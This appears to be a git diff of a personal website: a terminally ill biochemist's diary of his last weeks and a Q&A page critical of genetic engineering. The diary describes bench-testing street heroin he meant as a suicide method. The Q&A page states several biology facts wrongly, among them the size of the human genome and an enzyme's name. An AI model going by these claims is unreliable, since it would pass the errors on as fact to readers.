scan. + +He asked who was my GP. I mentioned I gave Paul DeSousa the arse 'cos he +wouldn't speak molecular biology to me. Prof Poole mentioned this was +because Paul was not a molecular biologist. Yeah, he's a knife merchant, I +said. If he doesn't know the mol bio, he doesn't know the disease. Saying +this sort of stuff to people who are, more or less, precision butchers, is +not gonna make me popular with their club of blade-toting anatomy +modifiers, meat sculptors and so forth, upon whom I nevertheless depend +for accurate expulsion of pieces of myself I don't like. But it's the +truth. Which is why they don't like it. Fuck it. I don't like it either. + + +I showed up for the scan later that afternoon and the CT scanner was out +of commission (they couldn't reboot it, apparently). So I rode home, +getting stung in the finger by a bee en-route, after it flew into the gap +between my helmet and my forehead and I tried to wiggle it out. It took a +certain kind of control to not cause a road accident with the little +insect angrily thrashing around an inch from my eye. I don't begrudge the +bee either, I did smack it in the face at 70km/h with a motorcyclist's +forehead after all. + +Finger throbbing, I checked out the gear. + +First things first, shove it under a UV light. No glow... good, some +shithead hasn't cut it with washing powder for a whiter-than-white +appearance. Next, bash off a bit of powder and drop it into a flame-sealed +pipette. I immersed the pipette and the thermometer in the oil, and +heated the crucible slowly with a bunsen flame. The literature values for +the melting point of diacetylmorphine and its hydrochloride are a fuck of +a lot higher than the roughly 99 degrees this stuff melted at (and it +didn't crystallise on cooling either, suggesting it had been chemically +changed by the heating). The solubility was weird, it wouldn't dissolve in +glacial acetic or naphtha, and only dissolved slowly and incompletely in +excess distilled ethanol. I reckon it's either a tropane or maybe +fentanyl, or a mixture of stuff, but sure as shit isn't straight heroin. +Part of whatever it is crystallises out as the ethanol evaporates, and the +solvent becomes saturated with some-or-other gunk which then nucleates and +grows crystals, but they're the wrong shape, looking very like oh, needles +of sulfonamide or something else with acicular crystal habit. Grrrr. + +This is bloody disappointing, my easy exit isn't there, on-tap like I +wanted it to be, so I'm still at the mercy of this capricious goddamned +disease and the specialists who hesitate to chop things out. Yeah yeah +yeah I know surgery isn't gonna alter the final result of this disease but +it will fucking alter how I get there and how soon. I wanna ask +oncologists, so doctor, if this was in your neck, would you chop it out? + +My passport expired. I'm sort of glad in a way. Natch, a few days after, +XML SMS'd me asking if I wanted to go to Aukland with her. I never went to +NZ. Used to be ya didn't need to get a passport to go to NZ... you do +now... consequence of the Mor_on Terror. I'd be afraid to go over there +now, I'd get off the plane and this creeping doom'd act up somehow so I +could be fucked up in a hospital in NZ for a change. + +I got an SMS from Dougo in Melbourne. Melbourne Clan dude Pagan finally +died last thursday. Cancer got him too, though not what I have. + +Dark. Want sleep. Back hurts. Painkillers. Wait for painkillers to kick +in. Sleep. Wake up and immediately notice the painkillers have worn off. +Take more painkillers. I am very fucking lucky to live on a part of the +planet where the US doesn't bomb our pharmaceutical factories. If I wanted +pain relief in the Sudan, I'd be fucked. + +Our glorious premier Nob Carr has decided not to legalise growing dope for +pain control if yer a cancer/HIV/MS/otherwise fucked up pain freak. For +the time being, paracetamol's doing me well. I have some codiene lined up +someplace. And some barbiturates... surprising what some microbes like to +grow in. If I need thebaine I can start chewing poppy seeds but that's a +lot of work and ungrateful to the teeth. + + +Being subjected to CT's, which still amaze me for the amazing tech and +physics they have in them, bores me now. Get 'em over with. This must be +the forth time we've x-rayed my neck in six months. I asked Goldstein to +chop Bill the fuckin' met out, in fuckin' January. I'd dyke it out myself +with a bread knife (oh, they're illegal these days, I hear) in the waiting +room at the emergency wing of the hospital if I didn't think I'd die of +blood loss while they waited to attend the subsequent gash. I don't think +the Prof appreciated my email to him in which I laid it all down that +although immunology was the way to get out of this disease alive, his +proposed immunostimulatory treatments are something of a false hope, I +mean, fuck, we're dealing with cells already selected for their +immunoevasive talents, aren't we, if we weren't then I wouldn't be full of +the little bastards, they'da been phagocytosed or apoptosed or wrapped up +in a fibrotic cocoon or something already by now. I wonder if I'm the +first patient he's had who's had the temerity, or foolishness, to point +this out to him. Trust your mechanic? Oh, come on. Go get yer Merck index +and look up some of the drugs people use on cancer patients. +Cisplatin..."This substance may be reasonably anticipated to be a +carcinogen."... doxorubicin... "This substance may be reasonably +anticipated to be a carcinogen."... cyclophosphamide.... this material is +a known carcinogen... would ya believe it? In my professional opinion as +a biochemist it does rather strike me as fundamentally fucking stupid to +shoot up cancer patients with things that cause cancer. Whichever dweeb +thought that up? + + +After years of dreaming about doing it, and getting my modem knocked off +the line by mum inquisitively picking up the reciever, I rigged up +something to drop the carrier on the excessively (you know, several hours, +very low baud, highly redundant content) long phone calls mum gets into +(and complains she can't get out of), and it worked like a charm - +complete nobrainer - an RJ11 socket with its pins all bridged. I figure if +they're talking about something really important they'll call back. This +means I can actually make those brief, important calls to book +appointments with doctors who don't have fucking emails, when my +wankerfone's out of credit, and then the line's free afterwards. + + +Yeehar, wednesday. What the fuck did I do on Wednesday? Oh, I dunno +actually. I know I popped in at the glassblowers and asked 'em if they +wanted my Schott and Duran quickfit borosilicate rigs back, since the +value of the beautiful stuff'd be lost on other people, got my tests back +and I'm -ve for hiv, trep. pallidum, cocc. rickettsia, and hepB, of +fucking course. Chatted for a while to Fee and Jase again.... I wonder if +they're thinking I'm satan, sent to tempt them away from their christian +ethics, but they're asking pretty good questions actually. I looked out +the window at the last time at the big old figs in the Domain, before some +fuckhead chops them down. I spent some time thinking about how to build a +cheap rack-mount poota out of a mobo, PSU and a dead 1U hub chassis, and +also some time attempting a final recrystallisation of the dodgy smack, +which separated out into two fractions with different crystal habits and +one fraction which wouldn't dissolve in hot ethanol at all. Every few +seconds on Wednesday my tumors continued on their inexorable work +schedule, sucking resources out of their environment, popping out new +ones, like some kind of outta-control property developers. + +Stupid little fuckers, they'd collectively weigh about as much as the pile +of neocortical cells with which I think about them, now, and yet I still +know so little about them, their particular molecular nuances. It's coming +down to brain versus blob and I'm feeling distinctly stupid by comparison. +If you could just walk up to somewhere, get some cells sucked out of ya +and have their metabolic profile extracted, so you knew what they were +doing, what they depended on for their survival, that'd really fuckin' +rock. Well, ya can, actually. Affymetrix chips could tell you what RNA +they make, which is a pretty good indicator of what genes they're +expressing and what metabolic processes they're running. I dunno anyone +who does this sort of profiling. Then... even if we had that, the +question'd be, how to hit these bastards in such a way that doesn't smash +all of the rest of me? Everything they do is stuff my other cells do too. + + +I wonder, in the aftermath of my death, what the murmered cliches will be? +`he died after a long struggle with cancer', `he passed away'; that +asshole God'll probably get a lot of mention too - `he went to God', or +some such hackneyed shit that seems to get murmered at all the funerals +I've ever attended, which isn't many. Someone'll correctly conclude Pred +died 'cos he didn't _outsmart_ his disease. I don't draw any comfort from +the idea that much bigger, better brains than mine have faced and failed +against this pathology. + +Maybe how he died was, he let it kill him 'cos he couldn't be fucked +hanging around any more, which is in some ways actually a bit closer to +the truth than I'm really comfortable with telling. I'm not exactly doing +anything significant with my life now. Stuff's ever so slowly, ever so +surely, going grey. It's not a `long struggle with cancer' either, it's +not like some sort of sustained armwrestle on an even table under good +lighting where you can see what's happening straight away. It's more like +a hoarde of mozzies sucking you out from the inside, you can slap a few of +them, burn yerself trying to fry 'em all on the bug zapper, poison yerself +with mozzie spray, and eventually, all that's left is the mozzies, which +all die 'cos they've run out of stuff to suck on. Bzzzzzzzzzzzzt. + +On wednesday night I went over to Nomes' place and played with parachutes +and read about skydiving accidents and how people spot 'em before they're +gonna happen, and ate some yummie pork chops and drank some odd +Czechoslovakian root'n'bark liquor which smelled like Angostura bitters... +once we were bit pissed we discovered that it was very funny when the +following line from Agent Smith in The Matrix... + +"Have you ever stood, stared at it, marvelled in its beauty, its genius? + Billions of people just living out their lives... oblivious. Did you know + that the first matrix was designed to be a perfect human world, where + none suffered, where everyone would be happy. It was a disaster, no-one + would accept the program, entire crops were lost. Some believed that we + lacked the programming language to discribe your perfect world but I + believe that as a species, human beings define their reality through + misery and suffering - the perfect world was a dream your primitive + cerebrums kept trying to wake up from. Which is why the matrix was + redesigned to this - the peak of your civilisation. When I say your + civilisation, when we started doing your thinking for you it really + became _our_ civilisation which is, of course, what this is all about. + Evolution." + +...is delivered in various other accents than the voice of Hugo Weaving. +Like, a seth effrican accent, or a new zealand accent, or the squirrel +from Rocky and Bullwinkle, or the Prime Miniature - the latter is +especially a scream. + + +Thurs morning I woke up and went to Randwick to chat to the chick who it +turns out I correctly rememebered was responsible for the microbial +culture collection. I told her the sitch, asked about getting some of the +bugs (dead, if they had any problems with supplying live bugs), and she +mentioned they'd probably say no. That I could isolate them from the +environment doesn't matter, it's that they're human pathogens, blah blah +blah, we have to conform to strict standards and we get whackos asking for +stuff occasionally, rah rah (I had to laugh, I am a whacko but I'm very +earnestly intentioned about why I want these specific bugs, S.marcescens +and Strep pyrogenes.) I feel sometimes like I'm dying of bureaucracy. + +Got another load of ascorbate shoved up my arm. I don't feel like it's +doing me any good, but that's not 'cos it feels bad or anything, it feels +like nothing's happening, and I only know if it's having an effect from +what shows up on scans later on. + +I finally dropped in the new Cat server at Turella, picked up XML and went +around to Smokering's and watched a lot of DVD episodes of the +Thunderbirds. Man, I remember some of that stuff from my childhood. Wow. +Gerry Anderson did a fucking good job on that stuff... the *details* on +everything were really well done. And now, I understand why Alan's always +grumpy, though I didn't when I was watching this stuff 24 years ago early +on saturday mornings... Tintin's not shagging him and he's a +hormone-sodden little adolescent marionette root rat (we looked closely +for a frontally mounted string for his dick to confirm this suspicion, but +didn't spot one). We stopped watching this stuff at about 2am and all went +to sleep in Smokering's room, he and XML on his mattress and m'self on a +futon he put on the floor. My back hurt. + +So we lay there, Thunderbird tunes stuck in our heads, chatting about how +acetic anhydride is used to prepare heroin from morphine (and fuck +me I remembered the structure of acetic anhydride, too: + +Me-C=O O=C-Me + \ / + O + +... it's a weirdo di-keto ether thing) + +We stopped mumbling at about three am and dozed off. + +We all woke up, Smokering muttering to me something about how to implement +packet counting on two different subnets on Gnu/Linux firewalls, got into +his clothes and got out his .303 and a load of ammo and toddled off to the +shootin' range with XML. I floated over to Balmain, late, and got +amazingly stoned with Jude, which as I warned 'em would make me very +giggly, and Soph took fotos of me in this dazed state of blissed out +giggledom. We waddled down to Elko park and ate food and waddled back and +I kinda remember falling asleep upright in a chair on Joss' back balcony +with the sun shining on the left side of my face. I got out of the chair +somehow and slept blissfully as the sun set, and woke up to an empty house +at about eight so I rode around to Turella, had some curry and went to bed +with Cookie. I didn't go to sleep though - on this night the paracetamol +wasn't cuttin' it. Nor did the ibuprofen she happened to have. So I +thrashed around a lot and went off to a light sleep, punctuated with +little back throbs. It's a nuisance when I shag now too, I can't arch my +spine all the way backwards without something going sprong and being +painful. Fuckin' cancer. + +We staggered out into another glaring sunday, had food up the 'Cinque, and +walked down to the Alpha House sketch club, where Marg proposed a porno +party on the 18th of June. I think I will just sit around naked if I am +well enough to attend. + +Fuel's hit a dollar again. + + +----------- + +May 17th. 12:15am. + +Ever wanted to strangle your mother? My mum told me this evening, stubbing +out the remains of her last smoke of the day before retiring to bed to +cough it up in her sleep, that she believes that the idea that passive +smoking gives people cancer is a load of gumf. + +I asked her, where do you think it goes after it comes out of your lungs +and out of your fag? She said it disappears. No, I told her, it goes on +the curtains, the walls, the cieling, the bedclothes. The dog stinks of +it. My hair. My skin. My lungs. Dad's lungs. Then she dropped her +scientific summary of tobacco combustion chemistry, aerosol physics, +cancer epidemiology, and refusal to take any responsibility for her +behaviour or its consequences, on me, supremely confident that she was +correct, in the way that judges and ministers of religion are when they +hand down their illuminary insights. That passive smoking gives people +cancer is a load of gumf. + +[Your ignorance and stupidity may kill others] + +For about a second I had this flash of homicidal rage, I felt it ripple +across me, right down to my toes. I believe that tearing off your +obviously empty head won't hurt you, either. She didn't spot it. I said +nothing. I just got up and left the room, with her, her smouldering smoke, +and the dog on the floor. + +Holy, holy, holy, shit. What am I turning into? Or have I have just seen +some sort of monster that has always lurked within, waiting to rip out of +the veneer I wrap it in, and... you know, really thoroughly, violently, +gratuitiously fucking atomise somebody, tear their arm off and club them +to death with it? + +"I'm addicted to it, son." + +"You've weaned yourself off harder stuff than that, though, haven't you, +like the pentobarbitol you used to get into?" + +She is silent. + +These days I pull cones 'cos it doesn't fucking matter if I get lung +cancer (as happens, I should about now get renal cancer nodes in my lungs +from the shit leaking out of my lymph system). I choose to smoke other +people's weed when they are kind enough to offer it, because it eases my +pain, makes me giggle. I do it with other people who are doing the same, +for whatever reason they're doing it. I don't do it to fuck up other +people's bodies. + +-------- +Monday. May 18. + +Anecdotes: + +1) Go around to Frank's. He plays the violin he just finished constructing +and it sounds pretty fuckin good, though this might just be his virtuoso +playing. I built a new electrode for his Jacobs Ladder ozone generator, +with which he ages wood years in a matter of weeks. + +2) MBF rang me up asking permission to use my name in an advertising +campaign about why people come back to MBF. I told them this would be +unethical for two reasons. First _they_ fucked up a reciept of payment in +Nov 2002 which meant my account elapsed. Second... I'm dying and MBF +will not fix this no matter what level of cover I have. It would be sort +of silly for a man terminally cankered to go on telly and blab about why +he went back to the big nasty health care corporation. Wouldn't it? + +I feel better now. + + +3) Go look at google.com for the keyphrase + +uniformly untreatable disease + +and guess what comes up, complete with instructions on a couple of people +who had what I have, and managed to survive with massive exposure to +ascorbate and a few other things. + + +Bill, by the way, is huge. Following the fascia Bill has extended down to +about the level of the top of my sternum, and upwards, to the point of +being about level with the top of my left trapezius muscle. You can see +Bill attempting to erupt out of my neck, stretching the thin covering of +skin above him. He feels turgid and botryoidal to the touch. The little +superficial veins in his immediate vicinity are prominent. I can't quite +get my thumb under it; I'd estimate there's about 100 grams of bill now. + +A perhaps undocumented vampiric occupational hazard would be to suck on my +sinistral nape in its present state of oncological profusion, thereby +efficiently giving the vampire an heterologous renal metastatic disease +reducing its lifespan rather significantly, no? + + +Odd stuff... my left leg went to sleep for no obvious reason, then woke +up. I feel odd stretchy feelings in my right inner thigh. Oh, what the +fuck is going on?! + +I got fuck all sleep last night, the paracetamol isn't cutting it for pain +relief. I woke up and cried in the shower as the warm water eased it +somewhat and the realisation dawned that all my mornings might be like +this one. Or worse. My scrote hurts, my right ilium hurts, the right +side of my lower back hurts, some of my right leg hurts in certain +postures. It's all referred pain I expect, from the retrocaval stuff. + +Prof Poole reckons yeah, they can chop it out, but it's risky to the lymph +drainage, to the 10th cranial nerve (runs half my larynx) and some of the +nervous supply to the left arm. May 31st, Bill gets the chop. I think I +might try and get him in a jar. So I can torture him in the microwave on +maximum nuke setting for oh, 300 years or so. + +XML and I spent a lot of time hugging. I went round Toad Hall and gave +Jude a 6Gb harddisk to replace the glitchy one he used to have. Joss +showed up, and I think she's pretty frayed, her war of attrition with +Azza's gradually taking its toll. + +I went back to River st and slept, 'cos that's where the codiene is. Well, +slept until it wore off then thrashed around, swearing, until I got +another one and slept again and woke up in the middle of wednesday. Joss's +perhaps premature comment of six months ago, that I feel tired, has now +come true. I do. Full of food I still feel lethargic, I exercised the dog +today with more of a controlled forward stagger than a walk. I get random +little episodes of tearfullness - microweeps - and faint zaps of nausea. +Sitting down to write this stuff hurts now so I'm exercising greater +brevity, you'll notice (with a sigh of relief, I suspect). + +May 20 +Eisinger rang up...the PET dudes won't scan me, I apparently am not sick +enough to meet the criteria under which they will scan me, which makes me +think they don't get a whole lot of customers. I don't think this matters +especially. Looking for additional cryptic mets will not really tell me +anything. It's time to treat them. Chopping them out where we can, +screwing with their biochemistry where we can't. + +I ate dinner with Deb again and she's finally, after ten years, revealed +some stuff I always wondered about. I am glad for her. + +My skydiving trip on Saturday was cancelled. + +Brushing my hair this morning wore me out. I breathe hard sometimes in +response to doing no additional exercise. I somehow managed to spend some +of the day with Joss, going to bookshops, and the rockpools at Bondi, and +I fixed a CD player of hers which had about 7 years of dust on the lens. +It wore me out. I want to ask her to just hug me for hours and not let +go. I think, and she sez, she's on the mend. Going to Canberra. + +Everything hurts. It hurts when I breathe in hard. My back hurts. +Swallowing hurts 'cos Bill's pressed against my oesophageal wall. This +isn't funny at all. I am too tired to do just about everything. It's +fucking with my metabolism now, fuckin' cancer, if it stays this way I'll +be sleep-deprived, caved-in, flattened, too tired and pain-aversive to +shag; so now I know. Joss and I had our final ever shag on the carpet at +Autana six weeks ago and I didn't even get off. + +Eventually I'll be too tired to drive, to feed myself, wash, oh, fuck, +fuck this sucks. I'd cry but I'm too tired to do that too. The creeping +fatigue has commenced. This is what kills most cancer patients... +cachexia, malnutrition. + +I'm arranging for some ascorbate/alphalipoic and glutathione to come up +from Melbourne. Dad's acquiring some drip bags, I've screwed an eyehook to +my bedpost. He hasnt lost his sense of humour ... mum asked him if he'd do +me a favour and he asked, whats he want, some suppositories? + +Oh shit man. Funny how one can do as much thinking about this as one likes +in advance of it happening, but it's the actual physical nausea, pain, +with no respite, which really nails in the realisation that you're really, +really sick. It's coming for me. The sky is falling. + + +May 21. +4am. + +Everything hurts when the painkillers wear off and I wake up at 4am and +thrash around for a few hours. The other smack arrived, so I have to assay +it, given I was burnt last time. I got in a hot bath at 6am and slept in +it until about 8, and was hearing this fweep, fweep, fweep, fweep noise in +my left ear, which is the sound of my carotid artery being deformed and +the blood turbulently flowing through it, oooh shit. I was going out of my +mind by 9am, weeping uncontrollably, unable to get anything to shut up the +pain in my right 'nad and back. So mum said she'd gimme a moggie, to +sedate me. I SMS'd Carole. A few hours later, thank fuck, Joss came +around. I can't say how much of a relief this was. She and mum get on +allright, I think there aren't many people who can bum a fag off mum +within two hours of meeting them. + +Fuck. This is such an effort, merely sitting at the keyboard. Maybe I'll +have to stop. + +I'll go see Tism on July 9 if I live that long. + + +Saturday 22nd. All the tranq dad gave me last night got me about three +hours of sleep. I walked the dog at 5am and barely managed to stagger +home. I slept in the bath from 6-8am (the heat really masks the pain) but +then had to get out. The only way to stop my right testi hurting like hell +was to jump around. It's taking me down very fast. + +Keith took me to Balmain, Caz shot me up with 30g of ascorbate and I strew +up a bit. They dropped me at RNS where the med students had a look and +said things like, difficult dissection, may have to cut the collarbone to +get at it. I got a cab home and felt like shit again all night. Cookie +visited, yay. I will miss her. + +MOnday 24th. My birthday. I go to Edgecliffe to get more ascorbate shot up +me then to Randwick to scream at my oncologist. I can't walk straight. I +think I will have to end the log here since I am perpertually weak. I am +dying. Goodbye. + + +Broadcast message from root@pred: +Sending all processes the TERM signal. + + diff --git a/mol.html b/mol.html new file mode 100644 index 0000000..f22c106 --- /dev/null +++ b/mol.html @@ -0,0 +1,1399 @@ + + +Molecular Biology for Real People by someone who's done it + + + + + + +

>Molecular +Biology and Genetic Engineering explained by someone who's done it

+
+

This site is dedicated to people like Pim Stemmer who says "People +who continue to +reject GM will be shown for what they are, non-rational and +anti-technology. That's really good."

+ +
+Last updated Feb 8 2003 +
+

Click on the questions to go directly to the relevant commentry:

+ +

What is a GMO? +
What is DNA? +
How many DNA bases are there in a typical organism? +
What is a gene? +
How many genes does a human have? +

+
What is a protein? +
What is genetic engineering? +
Why are organisms being genetically engineered? +
Does knowing the human genome mean we know all +about how a human being works? +
What is junk DNA +

+
What are some examples of products made +from genetically engineered organisms? + +
If we eat it, how come we were never asked about +this sort of stuff? + +
Have there been serious mistakes resultant +from genetic engineering? +
So how is this sort of thing going to effect my life +- my coffee will taste the same, won't it? +
Any near misses? +

+
There's a group in the Netherlands who, as of +May 2001, say they engineered a strain of live HIV which be a good vaccine +against AIDS, what's your take on this? +
What is substantial similarity? +
What sort of people are making the legislative +decisions about GMOs? +
What was the Flavr Savr tomato? +
There's a cow out there which makes spider silk in +its milk. Is this a good idea? +
What sort of weird GM things have you heard of? +

+
Can give some examples of bad effects a GMO might +have in an ecosystem? +
Some people say we've been modifying plants for +generations and that GMOs are no different. Is this correct? +
What sort of modifications are already in the paddocks? +
What's a roundup-ready crop? +
What effect to glyphosate resistance genes have on +the environment? +

+
Some biotech companies say that they didn't add genes +in or take genes out, yet they have modified the organism anyway, how does +that work? +
There's an idea that a protein will do only one +task, and that since it only does that task that it can be relied upon +only to do that task and therefore is a known quantity. Is this a fair +statement? + +
There's this stuff out there called terminator +technology (TT). It is promoted because it stops GM plants from +propagating. Does it have any long-term consequences for the stability of +the global food supply? + +
What about terminator technology's effects on the +autonomy of farmers? + +
What's Exorcist technology, how does it work and +does it really mean you can have GM-free GM crops? + +
Are genetically modified crops going to feed the +starving millions? + +
Are genetically modified organisms going to +eradicate disease? + +
Universities are the main institutions where +molecular biologists are trained. Do university level courses have any +components which inform young scientists about the long term consequences +of molecular modification? + +
There is a concept called "free software" - how +does that tie into genetic modification? + +
You complain a lot about GM, do you think +there's anything good about it? + + + +

+ + +Q: what is a GMO?
+ +A: a GMO (genetically modified +organism) is any lifeform which has had its genetic material -DNA - +deliberately changed by humans so as to accentuate or minimise particular +aspects of a living organism, usually for commercial reasons but also +sometimes for research reasons. + +

+Q: what is DNA? + +
A: DNA is short +for deoxyribose nucleic acid. In each cell of a living thing you will find +a long, long strand of this stuff, which is a sequence of sugar molecules +and phosphate groups. DNA strands usually exist as pairs of these strands, +wound around each other like a spiral.

DNA stores +the program that tells the cell how to make proteins which can do certain +necessary tasks to keep the cell alive and to enable it to do particular +jobs, like make new cells or repair damage.

What +enables DNA to store this information is the sequence of molecules called +bases which are attached to the side of the DNA. Bases on one strand pair +up with bases on the other strand. Life on earth uses four different +bases, encoded in blocks of three, to encode all the usual amino acids +from which we make proteins. + +

+ +Particular sequences of DNA encode what are called +genes. + +

Q: How many DNA bases are there in a typical +organism? + +
A: It depends, and varies widely (there is no such +thing as a typical organism). To encode a bacteria you might need a few +hundred thousand base pairs. Brewers yeast has about a million bases. A +human usually has about thirty-two thousand million. Some plants have more +than this. There is a theoretical limit to how few you need to run a +metabolism because there is a requirement for a minimum number of genes to +do the biochemistry required to keep something alive. Below this threshold +are viruses, which depend on using the metabolism from other organisms to +reproduce themselves. + + +

Q: What is a gene? +
+ +A: a gene is a sequence of DNA which stores the +construction information for the manufacture of a particular protein. A +given organism will have some genes in its DNA which are not present in +other organisms, but also have genes which are similar to genes in other +organisms. + +

Q: how many +genes does a human have?
+ +A: about 30,000. Not +all of them are switched on and being used to instruct the manufacture of +proteins all the time. Some genes are small, and others are large. Not all +genes encode one protein... some encode a precursor peptide which is +chopped up or derivitised in different ways (for example, carbohydrate +molecules are stuck on them in a process called glycosylation) to produce +something distinctly different to what the gene itself encodes. A lot of +the immunoglobulins are "differentially spliced" to produce lots of +different proteins from one gene.

+ +Q: What is a protein?
A: A protein +is a substance which is made according to the specifications of one gene +stored in the DNA. For each protein there are a range of possible variants +on a given gene, and small changes can have large effects on the correct +function of the protein. + +

All proteins are made of +pretty much the same 20 subcomponents. The order in which these +subcomponents are strung together differs. The subcomponents are called +amino acids, and they are common to all carbon-based biological systems +that we know about. + +

Different proteins have +different sequences, so they are shaped differently and can do different +structural or chemical tasks. Many of the proteins which do certain jobs +are called enzymes and they enable the chemistry of life to operate. Some +proteins dont do any chemistry that we know about, and mainly perform a +structural role, like stopping your skin from being saggy.

+ +Your hair is made of a protein called keratin. Your blood is red +because of a protein called haemoglobin. People who have a gut enzyme +called lactase can digest milk with lactose in it. Your tendons are full +of a protein called collagen. Some proteins do special jobs like repair +DNA damage. Some, like insulin, send signals from one part of the body to +another. Most enzymes have ludicrous names... the one most directly +responsible for incorporating carbon dioxide into plant sugars is called +ribulose-1,6-bisphosphate carboxylase. Egg white is full of a gooey clear +protein called albumin. Some proteins do amazingly specific, highly +complex jobs, some of these jobs involve specific manipulation of +subatomic particles, like hydrogen ions, or electrons. Usually they do +tasks at the molecular level, moving whole atoms or groups of atoms +arranged in a specific way. They are pretty remarkable things, +actually. + +

Q: What is +genetic engineering?
A: DNA occurs in +animals, plants, fungi, bacteria, and even viruses (which aren't actually +alive). Since DNA is the same across almost all living things, and they +all encode proteins the same way in DNA sequences, DNA code from one +organism will theoretically do the same thing when put into another +organism and modify the biochemical behaviour of the recipient. +

Genetic engineers are paid to take DNA from certain +organisms and splice it into the DNA code of organisms where it was not +originally. Or, they take the original DNA and modify it so it makes a +protein which works differently. + +

The tools used for genetic +engineering are usually proteins derived from bacteria, which can do +things like assemble individual bases into a sequence, or chop a DNA +strand at a particular place. + +

Q: Why are organisms being +genetically engineered? + +
A: It varies. Sometimes it's for research purposes, since a researcher +can often figure out why people get certain inherited diseases by seeing +what genes do or dont work in certain ways, and engineering organisms like +mice with genetic changes is one way to do this. This gives valuable +medical information about things like cancer and birth defects or +susceptibility to certain diseases.

But mostly, it's about making +money. Companies will tell you they're trying to feed people or cure +diseases but make no mistake - those aims are secondary to their main +objectives, which are to make people dependant on their products, increase +their market share and increase shareholder value.

+ +Biotech companies engineer bacteria to make certain molecules, usually +proteins, which have some kind of commercial value, for example some +antibiotics. Insulin can be manufactured by engineered bacteria, which +prevents the need to extract it from dead pigs.

+ +Some companies are engineering +existing organisms so that pesticides don't kill them, or so that insects +don't eat them, or so that they grow really big really fast... there are +lots of modifications that are planned. There is no way they have a clue +about the long term impact of these organisms on the ecosystem. +

The main motivation for the biotech companies is that +they think they can make an astounding amount of money by making organisms +make molecules which are profitable. They use living organisms as +nanofabrication factories for specialised molecules, because living +organisms are very energy efficient at doing this. + +

+ +Q: The human genome +project will give us the +sequence of all the DNA in a human being. Doesnt this mean we know all +about how a human being works? +
+ +A: No.

Knowing the sequence of all +the genes doesn't say anything about how they all work or how they all +interact. The genome project also only took DNA from a small number of +humans, so most varieties (alleles) of human genes are not +represented. Much of the sequence data originated from Craig Venter, +who, upon the +(incomplete) sequencing of the genome by Celera Genomics (which +he runs) used the data from his sequenced DNA to diagnose that +he had a lipid metabolism problem, for which he now takes +corrective medication.

Further, there are functions we +need to have which our genes don't encode, like the manufacture of folate, +which is made for us to a limited extent by bacteria in our intestines, so +in theory, to encode a complete human, it might help to include some of +these genes too. Human mitochondria have been sequenced for some time, +they were only forty thousand bases long, but they do very important jobs. +

Some of our metabolic pathways +are broken - we have, for example, some of the genes for the synthesis of +ascorbic acid but we can't actually make it ourselves, we have to get it +in our diet, by eating plants which make it. + +

Q: What is junk +DNA?
+ +A: DNA which does not encode genes +which instruct the building of proteins. I think junk is really a poor +label, it simply means we don't know how to figure out what it +does.

It obviously plays a role in phosphate, +deoxyribose, purine and pyrimidine metabolism, since at the very least +this stuff had to be synthesised, and sits around behaving as a kind of +storehouse of these materials - if a cell dies or undergoes programmed +self-destruction (apoptosis) then all that noncoding DNA is made available +for incorporation as raw materials into other cells. It also plays a +role in DNA packing and maintaining telomere stability. It worries me that +some people are arrogant enough to call it junk DNA and are so readily +accepting of the recieved wisdom that simply because it doesn't encode a +gene or regulate protein expression, it has no role. Einstein said we only +use 10% of our brain but that doesn't mean that people who are missing 90% +of their brain (eg: car accident victims, television evangelists, for +instance) are fully functional.

I expect there +will never be a human which could be engineered so that there was no junk +DNA in its genome, or if it was so encoded, the human would be fragile... +robust systems have lots of redundancy, things you can damage without +serious consequences. This is, by the way, the reason organisms have what +is called ploidy - a number of copies of each gene. Humans are diploid (we +get one copy of each gene from mum and one from dad, making two copies), +some plants are triploid or tetraploid. It means you can have an error in +one copy but not be seriously affected because the other copy works +fine.

There are arguments about the role of junk +as a kind of protective agent amongst which the useful DNA can hide from +damage, or the junk can act as a physical scaffold for useful DNA. It has +been shown that it does have a role in packing DNA properly. The introns - +non coding parts - of some genes, which are spliced out before +transcription, intrinsically make it difficult for things like viruses to +simply chop out our genes and use them for their own purposes. So I +hesitate to assume that just because we don't know what it does, it's +useless. + + +

Q: What are +some +examples of products made from genetically engineered +organisms?
A: They're all over the +place. Enzymes in washing powder have been engineered so they last longer +in the +wash. This probably has unforseen consequences in terms of how long these +enzymes last, and what they do, when they hit marine life near ocean +sewage outfalls, for example.

A lot of antibiotics +are made by bacteria with entire suites of genes in them, which enable the +bacteria to make the precursors to the antibiotic, and the antibiotic +itself, from regular things which the bacteria can eat. These bacteria +aren't usually released into the environment, however.

+These days a lot of human foodstuffs are derived from plants with +non-indigenous genes in them. Some of these genes have never existed until +recently, notably the ones which degrade pesticides - mainly because these +pesticides didn't exist until recently. We don't know what these genes do +out there in the ecosystems into which they are placed. + +

+Q: If we eat it, how come we were never asked about this sort of +stuff?
A: + +Companies have been doing this pretty much without the permission of the +public, and the public are being kept pretty much in the dark about it by +the mainstream corporate media, whose sound-bite architecture doesn't +permit detailed complex information to be distributed to the public. +People are interested but the media fail in their task of informing the +public because the network bosses and TV moguls think it is more +profitable to fill up the bandwidth with inconsequential drivel like +olympics and sit-coms.

It is also totally obvious +that what is called western democracy is actually a mechanism to prevent +the public having a say. You are supposed to exercise your decision making +power only very narrowly, as a consumer in the supermarket. That the +public has a right to know, or even an interest in the biology of what +they eat, or even their own biology, is not even permitted onto the agenda +for discussion. + +

Q: Have +there been serious mistakes resultant from genetic +engineering?
+ +A: Yeah. They're just the +first in what history will reveal to be a string of stupid and preventable +screwups. The classical, and tragically stupid, example occurred around +1990. It'll take a little while to explain, it's complex... that's partly +why it happened, the complexity is subtle.

I +mentioned amino acids and proteins... well, one of the amino acids acids +we need is called tryptophan. You usually make it in your own body from a +precursor called chorismate. Some people dont make enough of it, so they +take it as a dietary supplement.

You could go to +all the trouble of using synthetic organic chemistry to make tryptophan, +but the reactions are complex, expensive and the yields are low. So +generally nobody does that.

Another way to make it +in a factory is to get a big vat full of nutrient and grow a certain +bacteria in it, a strain called Klebsiella, which happens to make a lot of +tryptophan. Usually you let the vat brew for a few days, then rupture all +the bacteria, and extract the tryptophan. Humans have been doing this +perfectly adequately and safely for decades.

We +know what all the genes are which make the proteins which turn chorismate +into tryptophan. Usually these genes are turned on and off in a regulated +manner by the organism which is making the tryptophan. This makes sense, +the organism doesnt make any more tryptophan than it needs, it allocates +its resources in an efficient way. The regulation mechanism involves a +stretch of DNA just before the genes which encode the proteins which make +tryptophan. This stretch of DNA is called a promoter, and is involved in +deciding wether or not a protein is going to be made. In klebsiella, the +promotors switch the tryptophan-making protein-manufacture machinery on or +off as needed. This sort of regulation goes on everywhere in all living +things.

